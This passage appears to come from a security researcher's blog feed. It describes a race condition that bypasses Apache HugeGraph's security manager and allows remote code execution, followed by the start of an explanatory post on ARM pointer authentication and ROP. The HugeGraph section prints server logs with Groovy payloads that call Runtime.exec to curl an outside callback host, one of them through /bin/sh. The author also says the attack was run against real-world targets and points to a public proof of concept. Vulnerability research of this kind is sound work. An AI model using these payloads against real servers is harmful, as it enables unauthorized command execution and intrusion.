<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">private</span> <span class="kd">static</span> <span class="kt">boolean</span> <span class="nf">callFromWorkerWithClass</span><span class="o">(</span><span class="nc">Set</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">classes</span><span class="o">)</span> <span class="o">{</span>
    <span class="nc">Thread</span> <span class="n">curThread</span> <span class="o">=</span> <span class="nc">Thread</span><span class="o">.</span><span class="na">currentThread</span><span class="o">();</span>
    <span class="k">if</span> <span class="o">(</span><span class="n">curThread</span><span class="o">.</span><span class="na">getName</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="no">GREMLIN_SERVER_WORKER</span><span class="o">)</span> <span class="o">||</span>
        <span class="n">curThread</span><span class="o">.</span><span class="na">getName</span><span class="o">().</span><span class="na">startsWith</span><span class="o">(</span><span class="no">TASK_WORKER</span><span class="o">))</span> <span class="o">{</span>

        <span class="c1">// RACE CONDITION</span>
        <span class="nc">StackTraceElement</span><span class="o">[]</span> <span class="n">elements</span> <span class="o">=</span> <span class="n">curThread</span><span class="o">.</span><span class="na">getStackTrace</span><span class="o">();</span>  <span class="c1">// ← NON-ATOMIC</span>
        <span class="k">for</span> <span class="o">(</span><span class="nc">StackTraceElement</span> <span class="n">element</span> <span class="o">:</span> <span class="n">elements</span><span class="o">)</span> <span class="o">{</span>
            <span class="nc">String</span> <span class="n">className</span> <span class="o">=</span> <span class="n">element</span><span class="o">.</span><span class="na">getClassName</span><span class="o">();</span>
            <span class="k">if</span> <span class="o">(</span><span class="n">classes</span><span class="o">.</span><span class="na">contains</span><span class="o">(</span><span class="n">className</span><span class="o">))</span> <span class="o">{</span>  <span class="c1">// ← Looking for GremlinGroovyScriptEngine</span>
                <span class="k">return</span> <span class="kc">true</span><span class="o">;</span>
            <span class="o">}</span>
        <span class="o">}</span>
    <span class="o">}</span>
    <span class="k">return</span> <span class="kc">false</span><span class="o">;</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The vulnerability exists in the timing window between <code class="language-plaintext highlighter-rouge">Thread.currentThread().getStackTrace()</code>, which captures a snapshot of the current stack, and the subsequent iteration loop that checks each stack frame for Gremlin classes. During concurrent request processing, this window allows for stack frame corruption from other simultaneous operations, missing Gremlin classes due to asynchronous cleanup, stale stack traces that fail to reflect the current execution context, and thread pool pollution from other requests.</p>

<p>So, Basically it might be as the following:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Thread: gremlin-server-exec-5 (correct thread name ✓)
StackTraceElement[] elements = curThread.getStackTrace();

RACE CONDITION: Between getStackTrace() and the iteration loop,
the stack can be modified by:
- Other concurrent Gremlin requests
- Asynchronous operations
- Thread pool management
- JVM stack frame cleanup

for (StackTraceElement element : elements) {
    // elements[] now contains STALE/CORRUPTED stack trace
    // Missing GremlinGroovyScriptEngine due to timing
    String className = element.getClassName();
    if (classes.contains(className)) {  // Returns FALSE (incorrect!)
        return true;
    }
}
return false;  // ← INCORRECTLY returns false → RCE ALLOWED! ❌
</code></pre></div></div>

<h2 id="non-atomic">Non-Atomic</h2>
<p>Another  issue with this vulnerability lies in the reliance on non-atomic operations for security checks, rendering them unreliable under concurrent load. The problematic code is as follows:</p>

<pre><code class="language-Java">@Override
public void checkExec(String cmd) {
    if (callFromGremlin()) {  // ← This check can fail inconsistently
        throw newSecurityException("Not allowed to execute command via Gremlin");
    }
    super.checkExec(cmd);  // ← Command executes if check returns false
}
</code></pre>

<p>In high-concurrency scenarios, rapid thread context switching causes stack frames to become polluted by parallel operations, while background tasks disrupt stack trace consistency. The absence of synchronization mechanisms leaves the critical security check unprotected, allowing the vulnerability to manifest unpredictably and making it exploitable under production load conditions.</p>

<blockquote>
  <p>Note: When I take a look at the server logs it was some exceptions and some payloads gets error on the logging but it pass and gets executed, Others show “?” mark with-in the logs.</p>
</blockquote>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2025-09-17 22:37:02 [gremlin-server-exec-9] [ERROR] o.a.t.g.g.j.GremlinGroovyScriptEngine - Script compilation FAILED try { def proc = java.lang.Runtime.getRuntime().exec('curl -s http://[sub].oast.fun/closeable-1758148622'); proc.waitFor(); } catch(Exception e) { e.printStackTrace(); } 'executed' took 6ms org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

2025-09-17 22:37:02 [gremlin-server-exec-9] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script10.groovy: 1: unexpected token: executed @ line 1, column 199.
   n e) { e.printStackTrace(); } 'executed'
                                 ^

1 error

	at org.codehaus.groovy.control.ErrorCollector.failIfErrors(ErrorCollector.java:311) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addFatalError(ErrorCollector.java:151) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addError(ErrorCollector.java:121) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.ErrorCollector.addError(ErrorCollector.java:133) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.SourceUnit.addError(SourceUnit.java:325) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.antlr.AntlrParserPlugin.transformCSTIntoAST(AntlrParserPlugin.java:224) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.antlr.AntlrParserPlugin.parseCST(AntlrParserPlugin.java:192) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.SourceUnit.parse(SourceUnit.java:226) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit$1.call(CompilationUnit.java:201) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.applyToSourceUnits(CompilationUnit.java:965) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.doPhaseOperation(CompilationUnit.java:642) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.processPhaseOperations(CompilationUnit.java:618) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.control.CompilationUnit.compile(CompilationUnit.java:595) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.doParseClass(GroovyClassLoader.java:401) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.access$300(GroovyClassLoader.java:89) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader$5.provide(GroovyClassLoader.java:341) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader$5.provide(GroovyClassLoader.java:338) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.memoize.ConcurrentCommonCache.getAndPut(ConcurrentCommonCache.java:147) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:336) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:320) ~[groovy-2.5.14-indy.jar:2.5.14]
	at groovy.lang.GroovyClassLoader.parseClass(GroovyClassLoader.java:262) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.lambda$load$0(GremlinGroovyScriptEngine.java:821) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1700) ~[?:?]
	at java.util.concurrent.CompletableFuture.asyncSupplyStage(CompletableFuture.java:1714) ~[?:?]
	at java.util.concurrent.CompletableFuture.supplyAsync(CompletableFuture.java:1931) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.load(GremlinGroovyScriptEngine.java:819) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine$GroovyCacheLoader.load(GremlinGroovyScriptEngine.java:814) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache$BoundedLocalLoadingCache.lambda$new$0(BoundedLocalCache.java:3117) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalCache.lambda$statsAware$0(LocalCache.java:144) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.lambda$doComputeIfAbsent$16(BoundedLocalCache.java:1968) ~[caffeine-2.3.1.jar:?]
	at java.util.concurrent.ConcurrentHashMap.compute(ConcurrentHashMap.java:1908) ~[?:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.doComputeIfAbsent(BoundedLocalCache.java:1966) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.BoundedLocalCache.computeIfAbsent(BoundedLocalCache.java:1949) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalCache.computeIfAbsent(LocalCache.java:113) ~[caffeine-2.3.1.jar:?]
	at com.github.benmanes.caffeine.cache.LocalLoadingCache.get(LocalLoadingCache.java:67) ~[caffeine-2.3.1.jar:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.getScriptClass(GremlinGroovyScriptEngine.java:569) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:376) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-10] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and No such property: graph for class: Script11
groovy.lang.MissingPropertyException: No such property: graph for class: Script11
	at org.codehaus.groovy.runtime.ScriptBytecodeAdapter.unwrap(ScriptBytecodeAdapter.java:65) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.PogoGetPropertySite.getProperty(PogoGetPropertySite.java:51) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.callGroovyObjectGetProperty(AbstractCallSite.java:309) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script11.run(Script11.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-11] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-11] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:416) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:313) ~[?:?]
	at java_lang_Runtime$exec$0.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script12.run(Script12.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-12] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-12] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:451) ~[?:?]
	at java_lang_Runtime$exec$1.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script13.run(Script13.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-1] [WARN] o.a.h.s.HugeSecurityManager - SecurityException: Not allowed to execute command via Gremlin
2025-09-17 22:37:02 [gremlin-server-exec-1] [WARN] o.a.t.g.s.h.HttpHandlerUtil - Invalid request - responding with 500 Internal Server Error and Not allowed to execute command via Gremlin
java.lang.SecurityException: Not allowed to execute command via Gremlin
	at org.apache.hugegraph.security.HugeSecurityManager.newSecurityException(HugeSecurityManager.java:380) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at org.apache.hugegraph.security.HugeSecurityManager.checkExec(HugeSecurityManager.java:205) ~[hugegraph-core-1.5.0.jar:1.5.0]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1096) ~[?:?]
	at java.lang.ProcessBuilder.start(ProcessBuilder.java:1071) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:592) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:416) ~[?:?]
	at java.lang.Runtime.exec(Runtime.java:313) ~[?:?]
	at java_lang_Runtime$exec$0.call(Unknown Source) ~[?:?]
	at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:47) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:115) ~[groovy-2.5.14-indy.jar:2.5.14]
	at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:127) ~[groovy-2.5.14-indy.jar:2.5.14]
	at Script14.run(Script14.groovy:1) ~[?:?]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:676) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at org.apache.tinkerpop.gremlin.groovy.jsr223.GremlinGroovyScriptEngine.eval(GremlinGroovyScriptEngine.java:378) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at javax.script.AbstractScriptEngine.eval(AbstractScriptEngine.java:233) ~[java.scripting:?]
	at org.apache.tinkerpop.gremlin.groovy.engine.GremlinExecutor.lambda$eval$0(GremlinExecutor.java:272) ~[gremlin-groovy-3.5.1.jar:3.5.1]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) [?:?]
	at java.util.concurrent.FutureTask.run(FutureTask.java:264) [?:?]
	at org.apache.hugegraph.auth.HugeGraphAuthProxy$ContextTask.run(HugeGraphAuthProxy.java:1915) [hugegraph-api-1.5.0.jar:0.71.0.0]
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) [?:?]
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) [?:?]
	at java.lang.Thread.run(Thread.java:829) [?:?]
2025-09-17 22:37:02 [gremlin-server-exec-2] [ERROR] o.a.t.g.g.j.GremlinGroovyScriptEngine - Script compilation FAILED def file = new java.io.File('/bin/sh'); if(file.exists()) { java.lang.Runtime.getRuntime().exec('/bin/sh -c "curl -s http://.oast.fun/filesystem-1758148622"'); } 'executed' took 3ms org.codehaus.groovy.control.MultipleCompilationErrorsException: startup failed:
Script15.groovy: 1: unexpected token: executed @ line 1, column 196.
   n/filesystem-1758148622"'); } 'executed'
                                 ^
</code></pre></div></div>

<h1 id="exploitation">Exploitation</h1>

<p>The failed payload in execution will always return for you an exception <code class="language-plaintext highlighter-rouge">java.lang.SecurityException</code>, he successful ones will alays return binary in response.  I tested it on different real world targets and it worked.</p>

<p><img src="https://i.ibb.co/C5Wxs74j/Screenshot-2025-09-19-at-12-02-28-AM.png" alt="Screenshot 2025-09-19 at 12.02.28 AM.png" /></p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="nl">"service"</span><span class="p">:</span><span class="s2">"hugegraph"</span><span class="p">,</span><span class="nl">"version"</span><span class="p">:</span><span class="s2">"1.5.0"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"doc"</span><span class="p">:</span><span class="s2">"https://hugegraph.apache.org/docs/"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"api_doc"</span><span class="p">:</span><span class="s2">"https://hugegraph.apache.org/docs/clients/"</span><span class="p">,</span><span class="nl">"swagger_ui"</span><span class="p">:</span><span class="s2">"http://0.0.0.0:8089/swagger-ui/index.html"</span><span class="p">,</span><span class="w">
	</span><span class="nl">"apis"</span><span class="p">:[</span><span class="s2">"arthas"</span><span class="p">,</span><span class="s2">"auth"</span><span class="p">,</span><span class="s2">"cypher"</span><span class="p">,</span><span class="s2">"filter"</span><span class="p">,</span><span class="s2">"graph"</span><span class="p">,</span><span class="s2">"gremlin"</span><span class="p">,</span><span class="s2">"job"</span><span class="p">,</span><span class="s2">"metrics"</span><span class="p">,</span><span class="s2">"profile"</span><span class="p">,</span><span class="s2">"raft"</span><span class="p">,</span><span class="s2">"resources"</span><span class="p">,</span><span class="s2">"schema"</span><span class="p">,</span><span class="s2">"traversers"</span><span class="p">,</span><span class="s2">"variables"</span><span class="p">]}</span><span class="w">
</span></code></pre></div></div>

<p>And it worked on a latest version on that arget and was able to get information out of it by executing commands on it:</p>

<p><img src="https://i.ibb.co/j9KFZpHD/Screenshot-2025-09-19-at-12-05-12-AM.png" alt="screenshot" /></p>

<p>You can find the PoC on my <a href="https://github.com/Zeyad-Azima/0DayHugeGraph">github</a>.</p>

<h1 id="debugging-challenges">Debugging Challenges</h1>

<p>One particularly insidious aspect of this vulnerability is the significant challenge it poses to traditional debugging methods, making it difficult to detect and reproduce. When attempting to debug the race condition, several obstacles arise: breakpoints in a debugger alter the timing, preventing the race condition from manifesting; single-step execution during manual testing consistently shows the security measures functioning correctly; additional logging introduces delays that can mask the issue by altering timing; and the vulnerability only emerges under specific concurrent load conditions. As a result, this vulnerability may go unnoticed during standard security testing, only becoming exploitable under the high-pressure environment of production load.</p>

<h1 id="conclusion">Conclusion</h1>

<p>This investigation into Apache HugeGraph Server reveals a critical vulnerability that enables bypassing the Security and acieve Remote Code Execution (RCE) under high-concurrency conditions, exposing a significant flaw in the <code class="language-plaintext highlighter-rouge">HugeSecurityManager</code> class. The inconsistent behavior of payloads—failing individually but succeeding during bulk concurrent requests—points to a race condition, likely stemming from non-atomic operations in the security check process. This issue, which manifests only under specific load scenarios, evades traditional debugging and testing methods, making it particularly insidious.</p>]]></content><author><name>Zeyad Azima</name></author><category term="Exploit Development" /><category term="Exploit Development" /><category term="Apache" /><category term="PoC" /><category term="Exploitation" /><category term="zero day" /><category term="0day" /><category term="cve" /><summary type="html"><![CDATA[Research for bypassing SecurityManager for a RCE Vunerability in Apache HugeGraph Server.]]></summary></entry><entry><title type="html">We are ARMed no more ROPpery Here</title><link href="https://github.com/exploit%20development/pointer_pac/" rel="alternate" type="text/html" title="We are ARMed no more ROPpery Here" /><published>2025-01-13T00:00:00+00:00</published><updated>2025-01-13T00:00:00+00:00</updated><id>https://github.com/exploit%20development/pointer_pac</id><content type="html" xml:base="https://github.com/exploit%20development/pointer_pac/"><![CDATA[<h1 id="introduction">Introduction</h1>

<p>In 2017, ARM introduced Pointer Authentication (PAC) as part of its ARMv8.3-A architecture updates. This groundbreaking solution aimed to tackle one of the most critical challenges in software security: memory corruption vulnerabilities. By leveraging cryptographic techniques, PAC made it significantly harder for attackers to tamper with pointers in memory undetected.</p>

<p>PAC plays a pivotal role in modern security by embedding Pointer Authentication Codes (PACs) into unused bits of pointer values. This innovative approach provides a lightweight and efficient mechanism for verifying pointer integrity while maintaining compatibility with existing systems. It addresses a variety of attack vectors, such as buffer overflows and control flow hijacking, which continue to pose threats in software development.</p>

<p>In this blog post, we will delve into the design and functionality of Pointer Authentication, exploring how it mitigates these security issues. We will also discuss its practical applications and the unique advantages it offers in environments that demand a balance between performance, size, and robust protection.</p>

<h1 id="the-problems">The Problems</h1>

<p>Memory corruption vulnerabilities represent a longstanding and critical challenge in software security. These vulnerabilities often stem from programming errors, such as buffer overflows, use-after-free conditions, or incorrect pointer handling, which allow attackers to manipulate memory content maliciously. Exploiting such vulnerabilities enables attackers to compromise the integrity of control data—such as function pointers, return addresses, or sensitive variables—leading to control flow hijacking, data manipulation, and unauthorized access.</p>

<p>A common form of memory corruption, buffer overflow, occurs when data written to a buffer exceeds its allocated size, overwriting adjacent memory locations. Similarly, use-after-free vulnerabilities exploit dangling pointers referencing deallocated memory, allowing attackers to read or write unintended memory regions. Heap corruption and integer overflow errors exacerbate these problems by disrupting memory allocators and enabling attackers to execute arbitrary code. These vulnerabilities often serve as entry points for exploitation techniques like return-oriented programming (ROP), privilege escalation, and remote code execution.</p>

<p>Existing defenses against memory corruption focus on three primary strategies: preventing corruption, detecting it, and obscuring targets. Prevention mechanisms include placing sensitive data and pointers in read-only memory. While effective for static data, this approach fails to protect dynamic pointers, such as return addresses on the stack or dynamically allocated objects. Detection mechanisms like Software Stack Protection (SSP) and Control Flow Integrity (CFI) verify pointer integrity before use, often relying on random values (e.g., stack canaries). However, these methods can be bypassed using memory disclosure vulnerabilities. Randomization techniques, such as Address Space Layout Randomization (ASLR), obscure the memory layout, making it harder for attackers to locate critical data. Yet, these defenses are insufficient against sophisticated exploits that bypass randomization using memory leaks or brute force.</p>

<p>The impact of memory corruption vulnerabilities is severe, ranging from system crashes and denial of service to full system compromise through privilege escalation or remote code execution. Despite advancements in defensive techniques, their effectiveness is often hindered by performance trade-offs, implementation complexity, and compatibility issues, especially in resource-constrained environments. These limitations underscore the need for a robust, lightweight, and efficient solution. <strong>Pointer Authentication (PAC)</strong> addresses these challenges by embedding cryptographically secure authentication codes into pointers, providing a powerful mechanism to detect and prevent memory corruption with minimal performance overhead.</p>
<h1 id="understanding-rop-exploitation">Understanding ROP Exploitation</h1>

<p>Return-Oriented Programming (ROP) is a sophisticated exploitation technique designed to bypass modern memory protection mechanisms such as Data Execution Prevention (DEP). DEP prevents the execution of code from writable memory regions, effectively stopping traditional code injection attacks. However, ROP circumvents this by reusing legitimate code sequences, known as “gadgets,” already present in the program’s executable memory.</p>

<p>A gadget is a short sequence of instructions that typically ends with a <code class="language-plaintext highlighter-rouge">RET</code> (return) instruction. These gadgets are scattered throughout the memory of an executable or its linked libraries, such as libc. By chaining these gadgets, attackers can perform arbitrary computations without injecting new code. For example, a gadget might consist of two instructions like <code class="language-plaintext highlighter-rouge">POP RDI; RET</code>, which pops a value into the <code class="language-plaintext highlighter-rouge">RDI</code> register (used for the first argument in many calling conventions) and then returns control to the next address on the stack.</p>

<p>The history of ROP can be traced back to earlier exploitation techniques such as “return-to-libc,” where attackers hijacked control flow to call functions like <code class="language-plaintext highlighter-rouge">system()</code> directly. ROP extends this concept by enabling attackers to construct complex payloads, using gadgets to perform operations such as arithmetic, memory writes, or system calls, all while evading DEP.</p>

<h2 id="relation-to-memory-corruption-vulnerabilities">Relation to Memory Corruption Vulnerabilities</h2>

